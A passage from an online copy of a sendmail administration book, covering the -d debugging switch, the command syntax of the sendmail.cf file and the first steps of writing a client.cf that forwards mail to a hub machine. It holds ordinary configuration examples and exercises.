         (subdomain name) $m = us.edu
              (node name) $k = here
========================================================

Mail queue is empty

Here, the -d0.1 switch causes sendmail to print its version, some information about how it was compiled, and how it interpreted your host (domain) name. Now run the same command line again, but change the level from .1 to .11:

% /usr/lib/sendmail -d0.11 -bp

The increase in the level causes sendmail to print more information:

Version 8.8.4
 Compiled with: LOG NAMED_BIND NDBM NETINET NETUNIX NIS SCANF
                XDEBUG
    OS Defines: HASFLOCK HASGETUSERSHELL HASINITGROUPS HASLSTAT
                HASSETREUID HASSETSID HASSETVBUF HASUNAME IDENTPROTO
                IP_SRCROUTE
   Config file: /etc/sendmail.cf
      Pid file: /etc/sendmail.pid
canonical name: here.us.edu
 UUCP nodename: here
        a.k.a.: [123.45.67.89]

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu
         (subdomain name) $m = us.edu
              (node name) $k = here
========================================================

Mail queue is empty

Previous: 4.2 Verbose (-v) | sendmail | Next: 4.4 Things to Try
4.2 Verbose (-v) | Book Index | 4.4 Things to Try


[Chapter 4] 4.4 Things to Try

sendmailSearch this book
Previous: 4.3 Debugging (-d) Chapter 4
How to Run sendmail 		Next: 5. The sendmail.cf File

4.4 Things to Try

  • If you have access to two machines, kill the sendmail daemon on one, then send mail to that machine from the other using the -v (verbose) switch. What does this tell you about why it is important to always re\%start the daemon after you have killed it? How can you tell that a remote sendmail daemon has died?

  • Using the -v switch, send mail to yourself. In the message body, include nothing but lines that begin with dots. Does the message get through intact?

  • Begin forming the habit of routinely running mailq several times per day. Start to learn the many reasons that mail is queued rather than sent.

  • Write a shell script that runs sendmail with the -bv (verify) switch to determine whether every alias in the aliases(5) file is good and print those that aren't. Be sure to filter the output so that good addresses (those marked as deliverable) are not printed.

  • Read the online manuals for all the MUAs on your system, such as that for /usr/ucb/Mail. For which MUAs is it possible to indirectly run sendmail in verbose mode? That is, which will pass a -v command-line switch through to sendmail?

Previous: 4.3 Debugging (-d) | sendmail | Next: 5. The sendmail.cf File
4.3 Debugging (-d) | Book Index | 5. The sendmail.cf File


[Chapter 5] The sendmail.cf File

sendmailSearch this book
Previous: 4.4 Things to Try Chapter 5 Next: 5.2 The Minimal File

5. The sendmail.cf File

Contents:
Overview
The Minimal File
A Quick Tour
Things to Try

The lines of text in a sendmail.cf file have been described by some as resembling modem noise and by others as resembling Mr. Dithers swearing in the comic strip Blondie.

R$+@$=W       <-  sendmail.cf file
{$/{{.+       <-  modem noise
!@#!@@!       <-  Mr. Dithers swearing

Constructs like the following can certainly be intimidating to the newcomer:

R$+@$=W         $@$1@$H         user@thishost -> user@hub
R$=W!$+         $@$2@$H         thishost!user -> user@hub
R@$=W:$+        $@@$H:$2        @thishost:something
R$+%$=W         $@$>3$1@$2      user%thishost

But think back to your early days of C programming. Did you feel any more comfortable with an expression like this?

#define getc(p)  (-(p)->_cnt>=0? ((int)*(p)->_ptr++):_filbuf(p))

Like any new language, learning the language that is used in the sendmail.cf file requires time and practice. In the chapters that follow, we introduce that language, but first we present an overview of the sendmail.cf file.

5.1 Overview

The sendmail.cf file is read and parsed by sendmail every time sendmail starts. It contains information that is necessary for sendmail to run. It lists the locations of important files and specifies the default permissions for those files. It contains options that modify sendmail's behavior. Most important, it contains rules and rule sets for rewriting addresses.

The sendmail.cf configuration file is line-oriented. A configuration command, composed of a single letter, begins each line:

V7                    <-   good
 V7                   <-   bad, does not begin a line
V7 Fw/etc/mxhosts     <-   bad, two commands on one line
Fw/etc/mxhosts        <-   good

Each configuration command is followed by parameters that are specific to it. For example, the V command is followed by a number, whereas the F command is followed by the letter w, then the full pathname of a file. The complete list of configuration commands [1] is shown in Table 5.1.

[1] Note that other versions of sendmail, such as Sun or IDA, may have more, fewer, or different commands. We don't document those other versions in this book.

Table 5.1: The sendmail.cf File's Configuration Commands
Command | Description
V | Define configuration file version (beginning with V8.6)
M | Define a mail delivery agent
D | Define a macro
R | Define a rewriting rule
S | Declare a rule-set start
C | Define a class macro
F | Define a class macro from a file or a pipe
O | Define an option
H | Define a header
P | Define delivery priorities
T | Declare trusted users (ignored in V8.1, back in V8.7)
K | Declare a keyed database (beginning with V8.1)
E | Define an environment variable (beginning with V8.7)
L | Include extended load average support (contributed software, not covered)

Some commands, such as V should appear only once in your sendmail.cf file. Others, such as R, may appear often.

Blank lines and lines that begin with the # character are considered comments and are ignored. A line that begins with either a tab or a space character is a continuation of the preceding line:

# a comment
V7
     /Berkeley  <- continuation of V line above

 tab

Note that anything other than a command, a blank line, a space, a tab, or a # character causes an error. If the sendmail program finds such a character, it prints the following warning, ignores that line, and continues to read the configuration file:

sendmail.cf: line 15: unknown control line "v6"

Here, sendmail found a line in its sendmail.cf file that began with the letter v. Since a lowercase v is not a legal command, sendmail printed a warning. The line number in the warning is that of the line in the sendmail.cf file that began with the illegal character.

An example of each kind of command is illustrated in the following sections. They are actual commands that you will see described throughout this tutorial. Don't be concerned if you don't understand the details at this time. All that is now mysterious will eventually become clear.

Previous: 4.4 Things to Try | sendmail | Next: 5.2 The Minimal File
4.4 Things to Try | Book Index | 5.2 The Minimal File


[Chapter 5] 5.2 The Minimal File

sendmailSearch this book
Previous: 5.1 Overview Chapter 5
The sendmail.cf File 		Next: 5.3 A Quick Tour

5.2 The Minimal File

The smallest possible configuration file contains absolutely nothing. Create an empty configuration file by copying /dev/null to it:

% cp /dev/null client.cf

This is the configuration file that we will continue to develop throughout this tutorial. We call it client.cf to avoid the possibility of overwriting the system sendmail.cf file.

Now run sendmail to test the validity of this new file:

% ./sendmail -Cclient.cf -bt < /dev/null
%

The -C command line switch tells sendmail to use your (empty) configuration file in place of the system configuration file. The -bt switch tells sendmail to run in rule-testing mode (which we will use frequently in the chapters to follow). Notice that sendmail reads your empty configuration file, runs, and exits without complaint. Also notice that you can now begin to run the version of sendmail that you compiled in Chapter 2, Have a V8. You couldn't run it before because you lacked a configuration file, but now you have one (although it contains nothing useful).

5.2.1 Version

To prevent older versions of sendmail from breaking when reading new style sendmail.cf files, a V (for version) command was introduced beginning with V8.1. The form for the version command looks like this:

V7

Edit the client.cf file and add this single line. The V must begin the line. The version number that follows must be 7 to enable all the new features of V8.8 sendmail.cf. The number 7 indicates that the syntax of the sendmail.cf file has undergone seven major changes over the years, the seventh being the current and most recent. The meaning of each version is detailed in Section 27.5, "The V Configuration Command".

5.2.2 Comments

Comments can help other people to understand your configuration file. They can also remind you about something you might have done months ago. They slow down sendmail by only the tiniest amount, so don't be afraid to use them. As was mentioned earlier, when the # character begins a line in the sendmail.cf file, that entire line is treated as a comment and ignored. For example, the entire following line is ignored by the sendmail program:

# This is a comment

Besides beginning a line, comments can also follow commands. [2] That is,

[2] Before V8 sendmail, comments could follow only three commands: S (rule set), P (priority), and R (rewriting rule).

V7                   # this is another comment

Add some comments to your client.cf file. It should look something like this:

# This is a comment
V7        # this is another comment

The sendmail program will still read this file without complaint:

% ./sendmail -Cclient.cf -bt < /dev/null
%

Previous: 5.1 Overview | sendmail | Next: 5.3 A Quick Tour
5.1 Overview | Book Index | 5.3 A Quick Tour


[Chapter 5] 5.3 A Quick Tour

sendmailSearch this book
Previous: 5.2 The Minimal File Chapter 5
The sendmail.cf File 		Next: 5.4 Things to Try

5.3 A Quick Tour

The other commands in a configuration file tend to be more complex than the version command you just saw (so complex, in fact, that whole chapters are dedicated to most of them). Here, we present a quick tour of each command - just enough to give you the flavor of a configuration file but in small enough bites to be easily digested.

5.3.1 Mail Delivery Agents

Recall that the sendmail program does not generally deliver mail itself. Instead, it calls other programs to perform that delivery. The M command defines a mail delivery agent (a program that delivers the mail). For example, as was previously shown:

Mlocal,    P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40,

This tells sendmail that local mail is to be delivered by using the /bin/mail program. The other parameters in this line are introduced in Chapter 6, The Mail Hub and Delivery Agents, and detailed in Chapter 30, Delivery Agents.

5.3.2 Macros

The ability to define a value once and then use it in many places makes maintaining your sendmail.cf file easier. The D sendmail.cf command defines a macro. A macro's name is either a single letter or curly-brace-enclosed multiple characters. It has text as a value. Once defined, that text can be referenced symbolically elsewhere:

DRmail.us.edu             <-  a single letter
D{REMOTE}mail.us.edu      <-  multiple characters (beginning with V8.7)

Here, R and {REMOTE} are macro names that have the string mail.us.edu as their values. Those values are accessed elsewhere in the sendmail.cf file with expressions such as $R and ${REMOTE}. Macros are introduced in Chapter 7, Macros, and detailed in Chapter 31, Defined Macros.

5.3.3 Rules

At the heart of the sendmail.cf file are sequences of rules that rewrite (transform) mail addresses from one form to another. This is necessary chiefly because addresses must conform to many differing standards. The R command is used to define a rewriting rule:

R$-      $@ $1 @ $R     user -> user @ remote

Mail addresses are compared to the rule on the left ($-). If they match that rule, they are rewritten on the basis of the rule on the right ($@ $1 $@ $R). The text at the far right is a comment (that doesn't require a leading #).

Use of multicharacter macros and # comments can make rules appear a bit less cryptic:

R$-                        # If a plain user name
      $@ $1 @ ${REMOTE}    #    append "@" remote host

The details of rules like this are more fully explained beginning in Chapter 8, Addresses and Rules, and detailed in Chapter 28, Rules.

5.3.4 Rule Sets

Because rewriting may require several steps, rules are organized into sets, which can be thought of as subroutines. The S command begins a rule set:

S3

This particular S command begins rule set 3. Beginning with V8.7 sendmail, rule sets can be given symbolic names as well as numbers:

SHubset

This particular S command begins a rule set named Hubset. [3] Named rule sets are automatically assigned numbers by sendmail.

[3] This is an actual symbolic name that we will use when developing the client.cf file (specifically in Chapter 11, Rule Sets 1 and S=).

All the R commands (rules) that follow an S command belong to that rule set. A rule set ends when another S command appears to define another rule set. Rule sets are introduced in Chapter 8 and detailed in Chapter 29, Rule Sets.

5.3.5 Class Macros

There are times when the single text value of a D command (macro definition) is not sufficient. Often, you will want to define a macro to have multiple values and view those values as elements in an array. The C command defines a class macro. A class macro is like an array in that it can hold many items. The name of a class is either a single letter or, beginning with V8.7, a curly-brace-enclosed multicharacter name:

CW localhost fontserver               <-  a single letter
C{MY_NAMES} localhost fontserver      <-  multiple characters (beginning with V8.7)

Here, each contains two items: localhost and fontserver. The value of a class macro is accessed with an expression such as $=W or $={MY_NAMES}. Class macros are introduced in Chapter 12, Class, and detailed in Chapter 32, Class Macros.

5.3.6 File Class Macros

To make administration easier, it is often convenient to store long or volatile lists of values in a file. The F sendmail.cf command defines a file class macro. It is just like the C command above, except that the array values are taken from a file:

FW/etc/mynames
F{MY_NAMES}/etc/mynames            <-  multiple characters (beginning with V8.7)

Here, the file class macros W and {MY_NAMES} obtain their values from the file /etc/mynames.

The file class macro can also take its list of values from the output of a program. That form looks like this:

FM|/bin/shownames
F{MY_NAMES}|/bin/shownames         <-  multiple characters (beginning with V8.7)

Here, sendmail runs the program /bin/shownames. The output of that program is appended to the class macro. File class macros are introduced in Chapter 12, and detailed in Chapter 32.

5.3.7 Options

Options tell the sendmail program many useful and necessary things. They specify the location of key files, set timeouts, and define how sendmail will act and how it will dispose of errors. They can be used to tune sendmail to meet your particular needs.

The O command is used to set sendmail options. An example of the option command looks like this:

OQ/var/spool/mqueue
O QueueDirectory= /var/spool/mqueue        <-  beginning with V8.7

Here, Q option (beginning with V8.7 called QueueDirectory) defines the name of the directory in which mail will be queued as /var/spool/mqueue. Options are introduced in Chapter 13, Setting Options, and detailed in Chapter 34, Options.

5.3.8 Headers

Mail messages are composed of two parts: a header followed (after a blank line) by the body. The body may contain virtually anything. [4] The header, on the other hand, contains lines of information that must strictly conform to certain standards. The H command is used to specify which mail headers to include in a mail message and how each will look:

[4] With the advent of MIME (Multipurpose Internet Mail Extensions), the message body can now be composed of many minimessages, each with its own MIME header and sub-body.

HReceived: $?sfrom $s $.by $j ($v/$Z)$?r with $r$. id $i$?u for $u$.; $b

This particular H command tells sendmail that a Received: header line must be added to the header of every mail message. Headers are introduced in Chapter 14, Headers, Precedence, and Trust, and detailed in Chapter 35, Headers.

5.3.9 Priority

Not all mail has the same priority. Mass mailings (to a mailing list, for example) should be transmitted after mail to individual users. The P command sets the beginning priority for a mail message. That priority is used to determine a message's order when the mail queue is processed.

Pjunk= -100

This particular P command tells sendmail that mail with a Precedence: header line of junk should be processed last. Priority commands are introduced in Chapter 14 and detailed in Chapter 35.

5.3.10 Trusted Users

For some software (such as UUCP) to function correctly, it must be able to tell sendmail whom a mail message is from. This is necessary when that software runs as a different user identity (uid) than that specified in the From: line in the message header. The T sendmail.cf command [5] lists those users that are trusted to override the From: address in a mail message. All other users have a warning included in the mail message header.

[5] The T command was ignored from versions V8.1 through V8.6 and restored under V8.7. With V8.7 it is actually implemented as the class $=t.

Troot daemon uucp

This particular T sendmail.cf command says that there are three users who are to be considered trusted. They are root (who is a god under UNIX), daemon (sendmail usually runs as the pseudo-user daemon), and uucp (necessary for UUCP software to work properly). Trusted users are introduced in Chapter 14 and detailed in Chapter 22, Security.

5.3.11 Keyed Databases

Certain information, such as a list of UUCP hosts, is better maintained outside of the sendmail.cf file. External databases (called keyed databases) provide faster access to such information. Keyed databases were introduced with V8.6 and come in several forms, the nature and location of which are declared with the K configuration command:

Kuucp hash /etc/mail/uucphosts

This particular K command declares a database with the symbolic name uucp, with the type hash, located in /etc/mail/uucphosts. The K command is detailed and the types of databases are explained, in Chapter 33, Database Macros.

5.3.12 Environment variables

The sendmail program is ultraparanoid about security. One way to circumvent security with suid programs like sendmail is by running them with bogus environmental variables. To prevent such an end run, V8 sendmail erases all its environment variables when it starts. It then presets the values for a small set of variables (such as TZ and SYSTYPE). This small, safe environment is then passed to its delivery agents. Beginning with V8.7 sendmail, sites that wish to augment this list may do so with the E configuration command.

EPOSTGRESHOME=/home/postgres

Here, the environment variable POSTGRESHOME is assigned the value /home/postgres. This allows programs to use the postgres(1) database to access information. The E command is detailed in Chapter 22.

Previous: 5.2 The Minimal File | sendmail | Next: 5.4 Things to Try
5.2 The Minimal File | Book Index | 5.4 Things to Try


[Chapter 5] 5.4 Things to Try

sendmailSearch this book
Previous: 5.3 A Quick Tour Chapter 5
The sendmail.cf File 		Next: 6. The Mail Hub and Delivery Agents

5.4 Things to Try

  • Examine the sendmail.cf file on your system. Although you don't yet know what any of it does, you should be delightfully surprised to discover that you already know what most of the configuration commands are generally meant to do.

  • Determine how your site is organized. Is it arranged to be convenient for users or for the administrator? Are the two necessarily exclusive?

  • If you are running a vendor-supplied V8 sendmail, the V configuration command may modify how sendmail behaves. That is, there may be vendor-specific text following the version number (such as /sun). If so, read your online documentation to find what has been modified.

Previous: 5.3 A Quick Tour | sendmail | Next: 6. The Mail Hub and Delivery Agents
5.3 A Quick Tour | Book Index | 6. The Mail Hub and Delivery Agents


[Chapter 6] The Mail Hub and Delivery Agents

sendmailSearch this book
Previous: 5.4 Things to Try Chapter 6 Next: 6.2 Define a Mail Delivery Agent

6. The Mail Hub and Delivery Agents

Contents:
The client.cf File
Define a Mail Delivery Agent
The local Delivery Agent
Add the Missing Parts to Mhub
Things to Try

Instead of having each individual workstation in a network handle its own mail, it can be advantageous to have a powerful central machine that handles all mail. Such a machine is called a mail hub and is analogous to the way Federal Express originally handled package delivery. In the old days, when you sent a package via Federal Express from, say, San Francisco to Paris, or even from San Francisco to Los Angeles, that package was first sent to Memphis, Tennessee (see Figure 6.1). The Memphis location was the Federal Express hub. All packages, no matter what their origin or destination, were sent to the hub first and then were transported outward from there.

Figure 6.1: The Federal Express hub approach

The advantage to this approach is that the Memphis hub was the only Federal Express office that needed the special knowledge of how to deliver packages anywhere in the world. [1] Local offices needed to know only how to deliver to the hub.

[1] Federal Express now has several regional hubs.

In a similar way, your workstations can be thought of as the outlying offices (client machines) and your central mail-handling machine as the hub. For mail, the hub performs the following functions for the entire site:

  • All incoming mail is sent to the hub, meaning that no mail is sent directly to a client machine. This hub approach has several advantages. No client needs to run a sendmail daemon to listen for mail. No client's name needs to be known to the outside world, thus insulating client machines for easier security.

  • Rather than having each client send its mail directly to the outside world, all outgoing mail from clients is sent to the hub, and the hub then forwards that mail to its ultimate destination. The advantages are that clients do not need to be continually aware of changes in the Internet; deferred mail queues on the hub, not on the client machine, making management simpler; and a single, simple sendmail.cf file may be shared by, or distributed to, all the clients.

  • All outgoing mail is modified so that it appears to have originated on the hub. The alternative is to have reply mail returned directly to each client. The advantages of the hub approach are that all mail appears to come from a single, giant machine (making replying to mail easier).

  • All mail to local users is delivered to, and spooled on, the hub. The alternative is to have one or more separate mail spool directories on separate client machines. The advantages of the hub approach are that all local delivery is handled by one machine, that no client needs to accept mail for local delivery, and that management is easier with a single spool.

There are disadvantages to the hub approach when a site is composed of differing machine architectures and when machines are spread over many networks:

  • At sites where there is a huge amount of mail constantly flowing, the load on the hub can become excessive. This can cause client mail to be queued rather than sent, even when mail is destined for local delivery.

  • For the hub to work, it needs to know the login names of all users on the system. Either it must have a master /etc/passwd file that is the union of all systems' passwd files, or it must use NIS to access such a master file. [2] In the absence of universal user passwd knowledge, it must have an aliases file entry for every local user.

    [2] See Managing NFS and NIS by Hal Stern (O'Reilly & Associates, 1992).

  • Because all mail passes through the hub, rather than being sent to the recipient directly, there are unavoidable delays. Those delays are negligible at small sites (a couple of hundred or so users) but can become significant at sites with a huge number of users.

  • If a client machine has direct UUCP connections or is connected to multiple networks, a more complex configuration file is needed.

6.1 The client.cf File

The purpose of this tutorial is to develop a small sendmail.cf file for the clients of a hub scheme. As we did in the previous chapter, we will call our file client.cf. [3] We will be developing it in pieces and examining those pieces individually in the chapters that follow. In this chapter we will begin the process of developing a client.cf file from scratch. It will perform only two tasks:

[3] The client.cf file is a teaching tool. Although it can be used to send mail when it is finished, alternatives presented in Chapter 16, The null.mc File and m4 are generally more useful. Consequently, we never show the completed client.cf file.

  • It will instruct sendmail to send all mail to another machine that serves as a mail hub. (Recall that in the hub design, no workstation receives mail, and all mail from clients is sent first to the hub and from there to the outside world.)

  • It will make all outgoing mail appear as though it originally came from that hub. (Thus, replies to mail will be delivered to the hub, not to the client.)

In this chapter we tackle the first task: how to get mail from the client machine to the hub.

Previous: 5.4 Things to Try | sendmail | Next: 6.2 Define a Mail Delivery Agent
5.4 Things to Try | Book Index | 6.2 Define a Mail Delivery Agent


[Chapter 6] 6.2 Define a Mail Delivery Agent

sendmailSearch this book
Previous: 6.1 The client.cf File Chapter 6
The Mail Hub and Delivery Agents 		Next: 6.3 The local Delivery Agent

6.2 Define a Mail Delivery Agent

Other than forwarding mail messages over a TCP/IP network, sendmail does not handle mail delivery itself. Instead, it runs other programs that perform delivery (see Figure 6.2). The programs it runs are called delivery agents. Information about which agent performs which kind of delivery is defined in the sendmail.cf file.

Figure 6.2: The nature of the recipient determines the delivery agent

The first item to put in your client.cf file is a definition of the program (delivery agent) that forwards mail to the hub machine. That definition provides sendmail with the information it needs to deliver mail using that delivery agent. Initially, sendmail needs to include only the name and location of that program. Therefore, in its preliminary form, the definition for the mail delivery program looks like this:

# This is a comment
V7      # this is another comment

# Delivery agent definition to forward mail to hub                <-  new
Mhub, P=[IPC], A=IPC $h                                           <-  new

This is a minimal (and still useless) configuration file. Go ahead and add these new lines to client.cf. The second line is a configuration command that defines a delivery agent. It contains three parts, each separated from the others by commas: a symbolic name and two equates.

Mhub

The M that begins the line defines a mail delivery agent. The hub immediately following is the symbolic name for the delivery agent. This symbolic name will be referenced by other parts of the configuration file when you write them.

P=[IPC]

The P= equate stands for Path. This says that the full pathname of the program that is used to handle the delivery is called [IPC]. ([IPC] is a special name used internally by sendmail to represent its internal ability to communicate over TCP/IP networks. It stands for interprocessor communications). For other mail delivery agent definitions the name following the = would be the full pathname of a program, such as /bin/mail.

A=IPC $h

The A= equate stands for Argument vector (list). It is used to specify the command-line arguments that will be given to the P= program when it is run. The zeroth argument is the name of the program (here IPC without brackets). The rest of the arguments, of which there is only one here, the $h, are the actual command-line arguments. The $h is a macro that contains the recipient's hostname. We'll describe macros in the next chapter. The A= equate is traditionally the last item in a delivery agent definition.

6.2.1 Testing the client.cf File

Run sendmail with this command line:

% /usr/lib/sendmail -oQ/tmp -Cclient.cf -bp

Note that you need to include -oQ/tmp in the command line to prevent sendmail from trying to change to the mqueue directory (which probably doesn't exist under the current directory). If you leave out the -oQ/tmp switch, sendmail exits with this confusing error:

cannot chdir((null)): Bad file number

The -Cclient.cf switch tells sendmail to use the file client.cf in the current directory as its configuration file, rather than the system /etc/sendmail.cf file. The -bp switch tells sendmail to print the contents of the queue. The above command line should produce output like the following:

No local mailer defined

The lack of a local mailer is not important yet. [4] The sendmail program prints it and stops but otherwise found no errors in our client.cf file.

[4] A local delivery agent is not required in rule-testing mode (-bt) but is required for all other modes.

Previous: 6.1 The client.cf File | sendmail | Next: 6.3 The local Delivery Agent
6.1 The client.cf File | Book Index | 6.3 The local Delivery Agent


[Chapter 6] 6.3 The local Delivery Agent

sendmailSearch this book
Previous: 6.2 Define a Mail Delivery Agent Chapter 6
The Mail Hub and Delivery Agents 		Next: 6.4 Add the Missing Parts to Mhub

6.3 The local Delivery Agent

When you ran sendmail, it complained that the local delivery agent definition was missing. To keep sendmail happy, this definition will now be added to the client.cf file. As it happens, it is already in your system sendmail.cf file (if you have one), and you can copy it by typing the following command:

% grep "^Mlocal" /etc/sendmail.cf >> client.cf

Note that the ^M above is actually two characters ^ and M, not a CTRL-M. Now load the client.cf file into your editor. It will look something like this: [5]

[5] If any of the equates shown here are missing, you need to type them in by hand.

# This is a comment
V7      # this is another comment
# Delivery agent definition to forward mail to hub
Mhub, P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

Right off the bat, you'll notice three new equates [6] that are a bit more complicated than our original hub equates. This new M configuration command declares a symbolic name, such as hub. Here, that name is local - the name that sendmail complained was missing. Although the local definition is important and heavily used in a full-fledged sendmail.cf file, the client.cf file uses it only to keep sendmail from complaining.

[6] You may also find a T= equate. We describe it later in this chapter.

The new delivery agent definition is composed of six parts (each separated from the others by commas), a symbolic name and six equates. The F=, S=, and R= equates are new. You've seen the M, P=, and A= before in the hub definition.

M

All mail delivery agent definitions begin with the M configuration-file command. Like all configuration commands, that M must begin a line:

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

define a delivery agent

The symbolic name for each delivery agent follows the M, with no intervening space. The symbolic names here are hub and local. The delivery agent called hub forwards mail to the central hub machine. The local delivery agent delivers mail to users on the local machine.

P=

The P= equate (for Path) specifies the full pathname of mail delivery programs:

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

        full pathname of program

Your program names may differ, but in general, the program for local places a mail message into the local user's mail spool file.

A=

The A= equate (for Argument vector) specifies the command-line arguments to be supplied to each mail delivery program.

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

                                               command line (argv)

Notice that local uses the $u macro, whereas hub uses the $h macro. The $u macro contains the name of the recipient (such as bob). The $h macro contains the name of a host (such as here.us.edu). Macros are explained in the next chapter. By convention the A= equate is usually last.

Three parts in the new local definition were not used in the hub definition. They are:

F=

The F= equate (for Flags) specifies certain flags that tell sendmail more about the delivery agent. Each flag is a single character, and each is Boolean - either set (if it is present) or not (if it is absent).

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

                     flags for delivery agent

There are many flags to choose from. They are all described in Chapter 30, Delivery Agents, but we will cover a few of them later in this chapter.

S=

The S= equate (for Sender) specifies which rule set to use in rewriting the sender's address:

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

                                        sender rule set

Addresses need to be rewritten because different delivery agents require addresses to be in different forms. For example, the [IPC] agent requires the form user@host.domain, while the uucp agent (if you had need for one) requires the form host!user. Here, the S= says that addresses should be rewritten by using rule set 10. We will cover rule sets later, in Chapter 8, Addresses and Rules.

R=

The R= equate (for Recipient) specifies which rule set to use in rewriting the recipient's address:

Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40, A=mail -d $u

                                              recipient rule set

Again, those addresses need to be rewritten because different delivery agents require different forms of addresses. Here, the R= says to use rule set 20 in rewriting an envelope address and rule set 40 in rewriting a header address.

In addition to the three new equates, and beginning with V8.7 sendmail, you may discover another new equate in the local delivery agent definition:

T=

Not shown in our examples is the T= equate (for Type), which lists three fields of information about the delivery agent. You will find this equate in configuration files beginning with V8.7 sendmail.

Mlocal, ..., T=DNS/RFC822/X-Unix

First is the type of MTA used (here DNS because sendmail is using DNS to lookup addresses); then a slash followed by the type of addressing used (here RFC822, but it could also be, for example, X.400); and last a slash followed by the type of error messages produced (here X-Unix which says that the program /bin/mail will produce UNIX errors). The T= equate is used to support Delivery Status Notification (DSN) as described in RFC1891, RFC1892, RFC1893, and RFC1894.

6.3.1 Skipping Rule Sets

Because we won't be covering rule sets for a while, and to simplify things for now, edit the client.cf file once again and change the S= and R= equates in the new local definition:

# Mailer to forward all mail to the hub machine
Mhub,   P=[IPC], A=IPC $h
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

                                       new     new

Both equates are changed to zero because there are no rule sets yet. When an S= or an R= equate in a delivery agent definition is zero or missing, sendmail skips the delivery-agent-specific part of rule-set processing.

6.3.2 Adding Comments

Comments are an important part of every configuration file. They remind you of what you are trying to do now and what you have done in the past. Edit the client.cf file now. Remove two old comments and add a new one:

                                                      <-  removed comment
V7                                                    <-  removed comment
# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], A=IPC $h
# Sendmail requires this, but we won't use it.        <-  added comment
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

We threw away the earlier comments because they were only for demonstration purposes.

6.3.3 Testing the New Delivery Agent Definitions

This time, run sendmail differently than you did last time:

% /usr/lib/sendmail -d0.15 -Cclient.cf -bt </dev/null

The -d0.15 debugging switch tells sendmail (among other things) to show you how it interpreted your delivery agent definitions. The -bt causes sendmail to run in rule-testing mode so that the delivery agents will be displayed. Running the above command line produces output like the following (but with long lines unattractively wrapped at the right-hand margin):

  <-  assorted other information here and above
mailer 0 (prog): P=/bin/sh S=0/0 R=0/0 M=0 U=0:0 F=Dlos L=0 E=\n T=DNS/RFC822/X-U
nix A=sh -c $u
mailer 1 (*file*): P=[FILE] S=0/0 R=0/0 M=0 U=0:0 F=DEFMPlosu L=0 E=\n T=DNS/RFC8
22/X-Unix A=FILE
mailer 2 (*include*): P=/dev/null S=0/0 R=0/0 M=0 U=0:0 F=su L=0 E=\n T=<undefine
d>/<undefined>/<undefined> A=INCLUDE
mailer 3 (hub): P=[IPC] S=0/0 R=0/0 M=0 U=0:0 F= L=0 E=\n T=<undefined>/<undefine
d>/<undefined> A=IPC $h
mailer 4 (local): P=/bin/mail S=0/0 R=0/0 M=0 U=0:0 F=/5:@ADFMlmnrsw| L=0 E=\n T=
<undefined>/<undefined>/<undefined> A=mail -d $u

This output, in addition to verifying that sendmail properly interpreted the client.cf file, reveals four equates you haven't seen before: M=, U=, L=, and E=. We won't explain them here, because you don't need them for the client.cf file. They are explained in detail in Chapter 30.

In the preceding output, also note that there are several equates that were not included in the original Mhub delivery agent definition. The hub definition included only the P= and A= equates:

Mhub,   P=[IPC], A=IPC $h

When sendmail saw this definition, it did not find specifications for any of the equates other than A= and P=. Rather than complaining, it gave E= the value of the newline character (\n), T= three instances of <undefined>, and the other equates each a value of zero:

mailer 3 (hub): P=[IPC] S=0/0 R=0/0 M=0 U=0:0 F= L=0 E=\n T=<undefined>/<undefine
d>/<undefined> A=IPC $h

Note that when the F= equate has a zero value, it is displayed as an empty list of flags.

Previous: 6.2 Define a Mail Delivery Agent | sendmail | Next: 6.4 Add the Missing Parts to Mhub
6.2 Define a Mail Delivery Agent | Book Index | 6.4 Add the Missing Parts to Mhub


[Chapter 6] 6.4 Add the Missing Parts to Mhub

sendmailSearch this book
Previous: 6.3 The local Delivery Agent Chapter 6
The Mail Hub and Delivery Agents 		Next: 6.5 Things to Try

6.4 Add the Missing Parts to Mhub

The final step in creating the hub mail delivery agent definition is to fill in its missing F=, S=, R=, and T= equates.

Edit the client.cf file again and add the new parts shown below to the Mhub definition:

# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

                 new  new  new        new

Here, the S= and R= equates are given a value of zero. The S= equate specifies the sender-rewriting rule set. The R= equate specifies the recipient-rewriting rule set. Because there are no rule sets yet, these equates are set to zero. You will be giving them real rule-set numbers when we begin to cover rule sets in Chapter 8.

The T= is the same as the T= in local except that instead of expecting UNIX errors, we will expect SMTP errors because we will be speaking SMTP to the hub. More about this later.

The flags listed in the F=mDFMuXa equate of the hub definition are typical of those generally used in [IPC] delivery agent definitions. You may want to change these depending on your needs. All the available flags are listed in Chapter 30. The ones we selected are summarized in Table 6.1.

Table 6.1: The hub Delivery Agent's F= Flags
Flag | Description
m | This agent can deliver to more than one user at a time.
D | Include a Date: in the header (if one is not present).
F | Include a From: in the header (if one is not present).
M | Include a Message-ID: in the header (if one is not present).
u | Preserve the case of the recipient name.
X | Pass lone dots on a line by doubling them.
a | Run extended SMTP protocol

The mailer delivery agent definitions are now roughed out. Remember that the symbolic name (hub or local) is the only part of these definitions that will be referenced in later rule sets. Also notice that the last equate of each definition, the A= command-line equate, ends with a macro ($h or $u). We cover macros in the next chapter.

Previous: 6.3 The local Delivery Agent | sendmail | Next: 6.5 Things to Try
